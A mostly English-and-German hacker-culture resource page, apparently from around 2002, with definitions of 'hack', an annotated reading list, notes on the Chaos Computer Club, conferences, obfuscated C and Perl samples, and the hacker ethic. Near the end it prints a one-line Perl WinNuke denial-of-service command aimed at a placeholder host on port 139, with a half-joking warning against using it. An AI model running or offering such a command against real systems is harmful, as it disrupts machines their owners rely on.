JOKE Last update: 22 Apr 02 [NEW!]



Hi folks,

welcome to a short, concise, top of the crop resource list on the world of hacking in Germany and elsewhere; initially created for a TV netNite special on hackers & hacking, entitled Secrets of the net (see http://www.netnite.de for more); so I guess this compilation is your spoiler guide to the show.

Note that this is on the TRUE ART OF HACKING, not the over-hyped media bullshit some hollywood-minded flatliners created to make some fast bucks from movies featuring an almost unknown tradition of creatively using or simply inventing new (ad hoc) technology, that dates back to folks like Leonardo daVinci (1452-1519) and his precursors.

Also note that any technology is neither good or bad in itself; it is only the use or abuse of a hack that makes a difference; or to quote another great hacker, or wordsmith, of his time, namely Shakespeare from Hamlet, Act 2, Scene 2:

Why, then, 'tis none to you; for there is nothing either good or bad, but thinking makes it so: to me it is a prison.

Hope you enjoy the trip & take care! 

Have fun,	-joke

   *                '
   |\          .(' *) ' .
   | \        ' .*) .'*        Jörg Heitkötter
   |(*\      .*(// .*) .       Sr Wizard, Research & Development
   |___\       // (. '*        http://surf.de.uu.net/people/joke/
   ((("'\     // '  * .        joke@de.uu.net
   ((c'7')   /\)               
   ((((^))  /  \               Tel: +49 231 972 1038
 .-')))(((-'   /               Fax: +49 231 972 1288
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     )))( |                    UUNET Deutschland GmbH
      (()                      Emil-Figge-Straße 80
       ))                      44227 Dortmund, GERMANY

"Miracles Out Of Nowhere."     --UUNET Germany's R&D motto


SO WHATZ A HACKER, ANYWAY?


Okay, since we have to start somewhere, let's use the old ZEN-navigation technique so boldly described in Douglas Adam's The Long Dark Tea-Time of the Soul and search for something that may be able to tell us. Now, what about a dictionary? Dictionaries have been invented by hackers, because they provide shortcuts to some otherwise obscure information - so, let's simply look up what hacker really means.

Well, for a couple of obvious reasons a hacker is "someone who commits a hack", or "someone who hacks". But, what is this mysterious "hack" thing? Let's ask someone who should know, for he himself is a true hacker, Eric S. Raymond, and therefore he compiles & edits The New Hacker's Dictionary - a sort of babelfish for the uninitiated (writers, journalists & friends). The dictionary reads:

hack

1. /n./ Originally, a quick job that produces what is needed, but not well. 2. /n./ An incredibly good, and perhaps very time-consuming, piece of work that produces exactly what is needed. 3. /vt./ To bear emotionally or physically. "I can't hack this heat!" 4. /vt./ To work on something (typically a program). In an immediate sense: "What are you doing?" "I'm hacking TECO." In a general (time-extended) sense: "What do you do around here?" "I hack TECO." More generally, "I hack `foo"' is roughly equivalent to "`foo' is my major interest (or project)". "I hack solid-state physics." See Hacking X for Y. 5. /vt./ To pull a prank on. See sense 2 and hacker (sense 5). 6. /vi./ To interact with a computer in a playful and exploratory rather than goal-directed way. "Whatcha up to?" "Oh, just hacking." 7. /n./ Short for hacker. 8. See nethack. 9. [MIT] /v./ To explore the basements, roof ledges, and steam tunnels of a large, institutional building, to the dismay of Physical Plant workers and (since this is usually performed at educational institutions) the Campus Police. This activity has been found to be eerily similar to playing adventure games such as Dungeons and Dragons and Zork. See also vadding.

Constructions on this term abound. They include `happy hacking' (a farewell), `how's hacking?' (a friendly greeting among hackers) and `hack, hack' (a fairly content-free but friendly comment, often used as a temporary farewell). For more on this totipotent term see " The Meaning of `Hack'". See also neat hack, real hack.

An unofficial (what else?) list of frequently asked questions on hacking is posted regularly to news:alt.hackers, if you post to this newsgroup don't forget to include an Obhack.

Richard Thieme, a freelance consultant and wordsmith has written many bits on hackers. He also attended DEVCON IV and interviewed "Se7en"; read his bits on '`Hacking Culture and the Passion for Knowledge''. http://www.thiemeworks.com/

The appendix is a very short quickref on hacking resources in the real world and on the net, if you think something's missing, or if you would like to comment on something, just drop me a line.

* "Have fun" is the shortened form of the old Sun Microsystems motto "Kick butt and have fun..."; SUN (an acronym for Stanford University Network) was also founded by hackers at (you guessed it) Stanford University.
** "Miracles Out Of Nowhere" is also an old KANSAS song, from the seminal album "Leftoverture", 1977.

APPENDIX: ANNOTATED RESOURCE LIST


DISCLAIMER: All material not otherwise attributed is the opinion of the author or a typo; and since we have to include some Monty Python trivia into this production, what about this: "...and now for something completely different."


LITERATURE


Douglas Hofstadter
Goedel. Escher. Bach. Basic Books, NY: New York, 1979.
Goedel. Escher. Bach. Klett-Cotta, Stuttgart, 1985.
[Auch diese Herren waren "Hacker der alten Schule" auf ihren Gebieten: Kurt Goedel. Mathematiker. Fand ein Loch in der Aussagenlogik, welches besagt das aussagenlogische Axiomensysteme immer Loecher haben muessen. Die Loecher nennt man Unentscheidbarkeitsstellen und spielen nicht nur in der theoretischen Informatik eine interessante Rolle. M.C. Escher erfand optische Illusionen. Wie zum Beispiel den unendlich fallenden Wasserfall. Joahnn Sebastion Bach. Musiker. Erfand Kanons die man vorwaerts- und rueckwarts spielen kann; ebenso wie unendlich steigende Fugen; den Wasserfaellen von Escher vergleichbar.   -Ed.]

Tracy Kidder
The Soul of a new machine, Little, Brown & Company, 1981.
Die Seele einer neuen Maschine, Rowohlt, 1982.
Data General: http://www.dg.com

[Beschreibt die Hardware/Software Hacker bei Data General die einen neuen Mini-Computer der ECLIPSE Serie bauten (der um einiges schneller war als der damalige Konkurrent VAX); Tom West ist heute immer noch VP bei DG und baut gerade die Thiinline business unit auf.   -Ed.]

Stephen Levy
Hackers: Heroes of the Computer Revolution, Bantam books, 1984.
There's a new 10th anniversary issue with a new afterword published in 1994.
http://www.amazon.de
http://mosaic.echonyc.com/~steven
[Levy hat auch "Insanely Great" geschrieben das Buch ueber die Entstehung des Macintosh; und "Artificial Life" ueber die Hacker am Santa Fe institut   -Ed.]

Joseph Weizenbaum (joseph@mit.edu)
Computer Power and Human Reason: From Judgement to Calculation, W.H. Freeman 1976.
Die Macht der Computer und die Ohnmacht der Vernunft, Suhrkamp, 1977.

Clifford Stoll
Kuckuksei: Die Jagt auf die deutschen Hacker die das Pentagon knackten, Krueger, 1989.
The Cookoo's Egg, Inside the world of Computer Espionage, Doubleday NY: New York, 1989.

Stalking the wily hacker, Communications of the ACM, pp, 1988.

Bruce Sterling (bruces@well.sf.ca.us)
The Hacker-Crackdown: Law and Disorder at the Electronic Frontier, Penguin 1994.
http://surf.de.uu.net/bookland/inet/sterling

Eric S. Raymond
The New Hacker's Dictionary, MIT Press, Boston MA, 1997.
http://surf.de.uu.net/bookland/inet/jargon/jargon.html

Tsutomi Shimomura
DATA ZONE, Die Hackerjagd im Internet, dtv, Muenchen, 1996.
http://www.takedown.org, http://www.kevinmitnick.com.org

Suelette Dreyfus
Underground: Tales of hacking, madness and obsession on the electronic frontier, Random House Australia, 1997.
http://www.underground-book.com/


CASE STUDY


Marianne Mueller (mrm@eng.sun.com)
Java Security FAQ; Software-Ingenieurin bei Sun Microsystems Engineering, Mountain View, CA. Aka "Hacker Barbe" (vgl. DATA ZONE, orig: Takedown) [Marianne spricht trotz ihrer offensichtlichen deutschen Abstammung kein Wort Deutsch- http://surf.de.uu.net/bookland/classics/carroll/alice_toc.html ist ihr gewidmet...no more comments... ;-)]
Mehr zu Marianne auf ihrer homepage: http://java.sun.com/people/mrm

Dan Farmer (zen@fish.org)
Ist wohl einer der bekanntesten Hacker weltweit. Er arbeitete als Sicherheistguru fuer SGI (Silicon Graphics Inc.), wo er zusammen mit Wietse Venema, einem Ex-Atomphysiker, das System Administratoren Tool SATAN entwickelt; kurz vor dessen Veroeffentlichung trennte sich SGI von Dan, weil die Sache einigen Schlipstraegern bei SGI grosse Kopfschmerzen bereitete. Danach arbeitete er als frier Consultant bis er im Juli 1997 als Network Security Administrator bei Earthlink anheuerte.

Dabei ist SATAN nur das sinnvolle Ende einer Entwicklung von Dan's Arbeit:

William R. Cheswick (ches@research.att.com) & Steven M. Belowin (smb@research.att.com)
Firewalls and Internet Security: Repelling the wily hacker, Addison Wesley Longman, 1994. Full text of the book now available at http://www.wileyhacker.com Steven's homepage is here http://www.research.att.com/~smb
[Das Buch enthaelt die Quintessenz diverser DefCon und USENIX paper von Bellovin; selber ein exzellenter Hacker. U.a. An Evening with Berferd; der Untertitel ist natuerlich eine Anspielung auf den ACM Artikel von Cliff Stoll   -Ed.]

Richard M. Stallman (rms@gnu.ai.mit.edu)
Emacs, GNU C & the GNU project in general: http://www.gnu.org
Germany: http://gnu.de.uu.net

System Crasher (coder@reptile.rug.ac.be)
Armageddon: http://sniffit.rug.ac.be
Sniffit: http://sniffit.rug.ac.be/sniffit/sniffit.html
[Brecht is of the "Generation @" kids & quite a nice guy; sometimes he confuses the order #include headers;
read his papers on IP spoofing; it's worth it!   -Ed.]

Weitere bekannte Hacker? Easy...
The following list a far from being representative and thus, will be heavily edited in the future. Note, that you have no chance of putting yourself on this list.
[Hieraus koennten man so ein gelbes Laufband machen wie in der Intro zu den STAR WARS Filmen...   -Ed.] ... and many (thousands) more.
[Falls sich diese Liste wie ein WHO IS WHO? des Computing liesst ist das absolut kein Zufall...neben Shakespeare ist natuerlich Lewis Carroll ein echter Worthacker gewesen, man denke nur an sein Nonsense-Gedicht: The Hunting of the Snark.   -Ed.]


HACKING MADE IN GERMANY


The default site in Germany is the web site of the Chaos Computer Club (CCC) http://www.ccc.de. Der Rest in Stichworten: Hacker Bibel, Datenschleuder, Die Bayerische Hackerpost, spaeter FoeBud e.V. Bielefeld http://www.foebud.org/ (hat Phil Zimmerman's PGP Handbuch uebersetzt und herausgegeben)-Wau Holland, Stephan Stahl und Steffen Wernéry sind die bekanntesten aelteren Vertreter des CCC, noch aus der Zeit in der man sich in Hamburg am Schwarzmarkt F2F oder virtuell im Clinch, der PATTEX Mailbox des CCC traf.

Steffen & friends betreiben heute den Sportsfreunde der Sperrtechnik - Deutschland e.V. oder einfacher ausgedrueckt: "Lockpicking in Germany" (vgl. Levy's Hackers) http://www.ssdev.org/

Die heutigen Kids (der hoffnungsvolle Nachwuchs) sind: Andy Mueller-Maguhn (CCC), Lutz Donnerhacke (ActiveX hack: https://www.iks-jena.de/mitarb/lutz/security/activex.html), Ulrich Drepper (GNU), Olaf Titz, Boris "pi" Piwinger, Roman Czyborra, Sven Neuhaus, Helge Oldach, Tilman Schmidt, and many more...die meisten sind im deutschen Usenet recht aktiv.
[Leider gibt es schon lange keine sinnvollen Buecher ueber Hacking Made in Germany mehr; aber die Originale sollte man kennen; oder zumindest im Regal stehen haben...   -Ed.]

Werner Heine, Die Hacker: Von der Lust in fremden Netzen zu wildern, Rowohlt 1985.
[Eine Adaptation des Levy auf deutsche Verhaeltnisse; sprich: CCC, Bayerische Hackerpost, etc.   -Ed.]

Thomas Ammann, Matthias Lehnhardt, Die Hacker sind unter uns: Heimliche Streifzuege durch die Datennetze, Heyne 1985.

Roger Bouteiller, Das Hacker Hackbuch: Reisebuch fuer Nomaden im Computerdschungel, Aragon/Klauke 1985.

CCC & Juergen Wiekmann: Das Chaos Computer Buch: Hacking made in Germay, Wunderlich/Rowohlt 1988.
[Wie Wau Holland & Co. die Welt sehen.   -Ed.]

Thomas Ammann, Matthias Lehnhardt, Gerd Meissner, Stephan Stahl, Hacker fuer Moskau: Deutsche Computerspionage im Dienst des KGB, Wunderlich/Rowohlt 1989.
[Das Kuckuksei von der anderen Seite des Atlantik betrachtet.   -Ed.]

Hans Christian Schmidt, Michael Gutmann, 23: Die Geschichte des Hackers Karl Koch. Das Buch zum Film. dtv, 1999.
[Erst Ende der 90er entsteht der Film und das Buch.   -Ed.]


THE TOP 3 FAQS ON HACKING IN GERMANY


  1. Q: Wie lerne ich Hacken? (How do I learn to hack?)
  2. Q: Gibt's das auf Deutsch? (Is it available in the German language?)
  3. Q: Welches Programm fuer Windows'95 macht das? (What's the Windows'95 program to do that?)

  1. A: Frag' Lutz Donnerhacke. (Ask Lutz Donnerhacke.)
    mailto:lutz@taranis.iks-jena.de
  2. A: Nein. (No.)
  3. A: Was ist Windows'95? (What's Windows'95?)


INTERNET URL'S


NEWS

WEB (in alphabetical order)

MAILING LISTS


CONVENTIONS / CONFERENCES


Die letzte Hacker Konferenz war die HIP'97 (Hackin' In Progress) in Holland (alle 4 Jahre in Europa); die nachfolgeveranstaltung der HEU'93 (Hackin' at the End of the Universe) dazu parallel die HOPE in USA. DEF CON alljaehrlich in USA.

Zudem gibt es seit '97 das alljährliche Black Hat Briefing in den USA, bei dem sich Hacker und Sicherheitsexperten aller coleure treffen.


CONTESTS: HACKING IN C & Perl


Alljährlich findet der International Obfuscated C coding contest (IOCCC) statt; http://www.ioccc.org - was soviel wie "Hacking in der Programmiersprache C" meint; hier zum Beispiel das allseits beliebte Spiel TETRIS in einer (laenglichen) Zeile (inklusive High-Score Tabelle): 
/ * Keys:      j   left
               k   rotate
               l   right
           space   drop
               q   quit
* /
long h[4];t(){h[3]-=h[3]/3000;setitimer(0,h,0);}c,d,l,v[]={(int)t,0,2},w,s,I,K
=0,i=276,j,k,q[276],Q[276],*n=q,*m,x=17,f[]={7,-13,-12,1,8,-11,-12,-1,9,-1,1,
12,3,-13,-12,-1,12,-1,11,1,15,-1,13,1,18,-1,1,2,0,-12,-1,11,1,-12,1,13,10,-12,
1,12,11,-12,-1,1,2,-12,-1,12,13,-12,12,13,14,-11,-1,1,4,-13,-12,12,16,-11,-12,
12,17,-13,1,-1,5,-12,12,11,6,-12,12,24};u(){for(i=11;++i<264;)if((k=q[i])-Q[i]
){Q[i]=k;if(i-++I||i%12<1)printf("\033[%d;%dH",(I=i)/12,i%12*2+28);printf(
"\033[%dm  "+(K-k?0:5),k);K=k;}Q[263]=c=getchar();}G(b){for(i=4;i--;)if(q[i?b+
n[i]:b])return 0;return 1;}g(b){for(i=4;i--;q[i?x+n[i]:x]=b);}main(C,V,a)char*
*V,*a;{h[3]=1000000/(l=C>1?atoi(V[1]):2);for(a=C>2?V[2]:"jkl pq";i;i--)*n++=i<
25||i%12<2?7:0;srand(getpid());system("stty cbreak -echo stop u");sigvec(14,v,
0);t();puts("\033[H\033[J");for(n=f+rand()%7*4;;g(7),u(),g(0)){if(c<0){if(G(x+
12))x+=12;else{g(7);++w;for(j=0;j<252;j=12*(j/12+1))for(;q[++j];)if(j%12==10){
for(;j%12;q[j--]=0);u();for(;--j;q[j+12]=q[j]);u();}n=f+rand()%7*4;G(x=17)||(c
=a[5]);}}if(c==*a)G(--x)||++x;if(c==a[1])n=f+4**(m=n),G(x)||(n=m);if(c==a[2])G
(++x)||--x;if(c==a[3])for(;G(x+12);++w)x+=12;if(c==a[4]||c==a[5]){s=sigblock(
8192);printf("\033[H\033[J\033[0m%d\n",w);if(c==a[5])break;for(j=264;j--;Q[j]=
0);while(getchar()-a[4]);puts("\033[H\033[J\033[7m");sigsetmask(s);}}d=popen(
"stty -cbreak echo stop023;sort -mnr -o HI - HI;cat HI","w");fprintf(d,
"%4d from level %1d by %s\n",w,l,getlogin());pclose(d);}




Dem IOCCC wurde der OPC, Obfuscated Perl Contest des Perl Journals http://www.tpj.com/ nachempfunden http://www.samag.com/tpj/obfuscated/ - was demzufolge soviel wie "Hacking in der Programmiersprache Perl" meint; hier als Beispiel der US Export-Schlager RSA in Perl. 

perl -s # -export-a-crypto-system-sig -RSA-in-3-lines-PERL
($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2%
Sa2/d0<;X+d*La1=z\U$n%0]SX$k"[$m*]\EszlXx++p|dc`,s/^.|\W//g,print pack('H*'
,$_)while read(STDIN,$m,($w=2*$d-1+length($n||die"$0 [-d] k n\n")&~1)/2)


SO, ARE YOU A HACKER?


Please answer this multiple choice test and send your score to: mailto:mirror@de.uu.net with the Subject: field containing your own email address.


LAST, NOT LEAST: THE HACKER ETHICS


  1. Access to computers-and anything which might teach you something about the way the world works-should be unlimited and total.
  2. Always yield to the hands-on imperative!
  3. All information should be free.
  4. Mistrust authority-promote decentralization.
  5. Hackers should be judged by their hacking, not bogus criteria such such degrees, age, race, or position.
  6. You can create art and beauty on a computer.
  7. Computers can change (your) life for the better.

P.S.: OBHACK OF THE DAY


WINNUKE in a single line of Perl 5.004; © 1997 Randal Schwartz (merlyn@stonehenge.com) 
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'
 In 1995, Perl Hacker Schwartz was convicted in a trial (Oregon vs Schwarz), for committing data espionage during his consultancy work for INTEL Corporation. He simply ran crack 5.0 on INTEL's inhouse network without authorization. So, kids, DON'T DO THAT! (...and if you do, take care.)


THANX


To everyone for critique, comments and all the fish; in the order listed in my mailbox: Sven Neuhaus, Detlef Borchers, Lutz Donnerhacke, Henning Behme, Google.com, ... take care!   ;-)


MORE THAN WORDS...


RED ROSE Dedicated to the lovely lady who hacked my heart on September 5th, 1996.

a joke production

Whatz Hackin', anyway?

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